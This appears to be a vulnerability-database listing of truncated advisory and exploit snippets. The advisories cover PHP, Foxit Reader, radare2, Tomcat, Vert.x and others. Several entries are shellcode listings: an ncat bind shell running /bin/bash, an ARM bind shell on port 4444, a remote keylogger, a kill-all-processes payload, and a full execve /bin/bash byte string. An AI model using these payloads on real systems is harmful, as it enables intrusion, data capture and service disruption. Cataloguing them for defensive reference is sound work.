PHP 5.6.x < 5.6.9 Multiple Vulnerabilities

According to its banner, the version of PHP 5.6.x running on the remote web server is prior to 5.6.9. It is, therefore, affected by multiple vulnerabilities : - Multiple flaws exist related to using pathnames containing NULL bytes. A remote attacker can exploit these flaws, by combining the '\0'...

CVE-2019-5005

An issue was discovered in Foxit Reader and PhantomPDF before 9.4 on Windows. They allowed Denial of Service application crash via image data, because two bytes are written to the end of the allocated memory without judging whether this will cause corruption...

radare2 'core_anal_bytes' function heap buffer overflow vulnerability

radare2 is a set of libraries and tools for working with binary files. A heap buffer overflow vulnerability exists in the 'coreanalbytes' function of the libr/core/cmdanal.c file in radare2 versions prior to 3.1.1. An attacker can exploit this vulnerability to cause a denial of service applicatio...

Linux/x86 - Kill All Processes Shellcode (14 bytes)

Exploit Title: Linux/x86 - Kill All Processes Shellcode 14 bytes Exploit Author: strider Vendor Homepage: None Software Link: None Tested on: Debian 9 Stretch i386/ Kali Linux i386 CVE : None Shellcode Length: 14 Description: Linux/x86 kill 9 -1 14 bytes...

PT-2023-15457 · Unknown +1 · Gpac Mp4Box +1

Name of the Vulnerable Software and Affected Versions: GPAC MP4Box version 2.1-DEV-rev649-ga8f438d20 Description: The issue is related to a Buffer Overflow that occurs via the media tools/av parsers.c file, specifically at line 4988 in the gf media nalu add emulation bytes function. This can...

Linux/x86 - execve(/usr/bin/ncat -lvp 1337 -e /bin/bash)+Null-Free Shellcode (95 bytes)

/ Linux/x86-execve/usr/bin/ncat -lvp 1337 -e/bin/bash+NULL-FREE Shellcode95 bytes Author : T3jv1l Contact: email protected Twitter:https://twitter.com/T3jv1l Shellcode len : 119 bytes Compilation: gcc shellcode.c -o shellcode Compilation for x64 : gcc -m32 shellcode.c -o shellcode Tested On: Ubun...

Information Disclosure

Apache Tomcat HTTP/1.1 connector is vulnerable to information disclosure. A lack of validation in the URL allows remote attackers to inject NULL bytes and retrieve confidential information through reading of JSP source files when allowLinking is configured...

Windows/x86 - Messagebox Shellcode 358 bytes

// Exploit Title : win32 Messagebox shellcode 358 bytes // Exploit Author : Febriyanto Nugroho email protected // Tested on : Windows 7 x86 Ultimate include include char shellcode= "\x31\xdb\xb3\x30\x29\xdc\x64\x8b\x03\x8b\x40\x0c\x8b" "\x58\x1c\x8b\x1b\x8b\x1b\x8b\x73\x08\x89\xf7\x89\x3c"...

kernel: Information leak when handling NM entries containing NUL

A vulnerability was found in the Linux kernel. Payloads of NM entries are not supposed to contain NUL. When such entry is processed, only the part prior to the first NUL goes into the concatenation i.e. the directory entry name being encoded by a bunch of NM entries. The process stops when the...

Windows/x64 - Remote (Bind TCP) Keylogger Shellcode (Generator) 864 bytes

/ Title : Windows x64 Remote Keylogger UDP size : 864 bytes Author : Roziul Hasan Khan Shifat Tested On : Windows 10 x64 pro Date : 26-10-2018 Email: email protected / / keyl.obj: file format pe-x86-64 Disassembly of section .text: 0000000000000000 : 0: eb 1d jmp 1f 0000000000000002 : 2: 48 31 d2...

Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes

/ Linux/x86 - execve/bin/cat /etc/ssh/sshdconfig Shellcode 44 Bytes Author: Goutham Madhwaraj Tested on: i686 GNU/Linux Shellcode Length: 44 ShoutOut - BarrierSec gcc -fno-stack-protector -z execstack loader-bind.c -o Disassembly of section .text: 08048080 : 8048080: 31 c0 xor eax,eax 8048082: 50...

Insecure Random

bip39 is vulnerable to insecure random attacks. The vulnerability exists due to the usage of less secure random bytes generator to generate a mnemonic string...

GHSA-45XM-V8GQ-7JQX Excessive memory allocation

In version from 3.0.0 to 3.5.3 of Eclipse Vert.x, the WebSocket HTTP upgrade implementation buffers the full http request before doing the handshake, holding the entire request body in memory. There should be a reasonnable limit 8192 bytes above which the WebSocket gets an HTTP response with the...

CVE-2018-12541

In version from 3.0.0 to 3.5.3 of Eclipse Vert.x, the WebSocket HTTP upgrade implementation buffers the full http request before doing the handshake, holding the entire request body in memory. There should be a reasonnable limit 8192 bytes above which the WebSocket gets an HTTP response with the...

CVE-2018-17427

SIMDComp before 0.1.0 allows remote attackers to cause a denial of service heap-based buffer over-read and application crash because it can read and then discard extra bytes...

Linux/x64 - execve ("/bin/bash") Shellcode (27 bytes)

Author: Artr0n Linux/x64 - Execve/bin/bash Shellcode Shellcode Lenght: 27 include include int mainvoid char shellcode = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"; printf"size: %d\n", strlenshellcode; void shellcode; return 0;...

Linux/ARM - Bind (0.0.0.0:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (92 Bytes)

Linux/ARM - Bind 0.0.0.0:4444/TCP Shell /bin/sh + Null-Free Shellcode 92 Bytes. Shellcode exploit for ARM platform / Title: Linux/ARM - Bind 0.0.0.0:4444/TCP Shell /bin/sh + Null-Free Shellcode 92 Bytes Date: 2018-09-26 Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken Kitahara System Informatio...

Linux/ARM - Bind (0.0.0.0:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (92 Bytes)

/ Title: Linux/ARM - Bind 0.0.0.0:4444/TCP Shell /bin/sh + Null-Free Shellcode 92 Bytes Date: 2018-09-26 Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken Kitahara System Information pi@raspberrypi: $ uname -a Linux raspberrypi 4.14.52-v7+ 1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux...

Stack overflow

An exploitable stack-based buffer overflow vulnerability exists in the retrieval of database fields in the video-core HTTP server of the Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17. The strcpy call overflows the destination buffer, which has a size of 2000 bytes. An attacker ca...

Linux/x86 - Egghunter + sigaction-based Shellcode (27 bytes)

/ Title: Linux/x86 - Egghunter + sigaction-based Shellcode 27 bytes Author:Valbrux This exploit is a dirty-slow but small version of the sigaction-based egg hunter shellcode global start section .text ;zeroing ecx xor ecx,ecx start: ;increment inc ecx ;sigaction syscall number push byte 67 pop ea...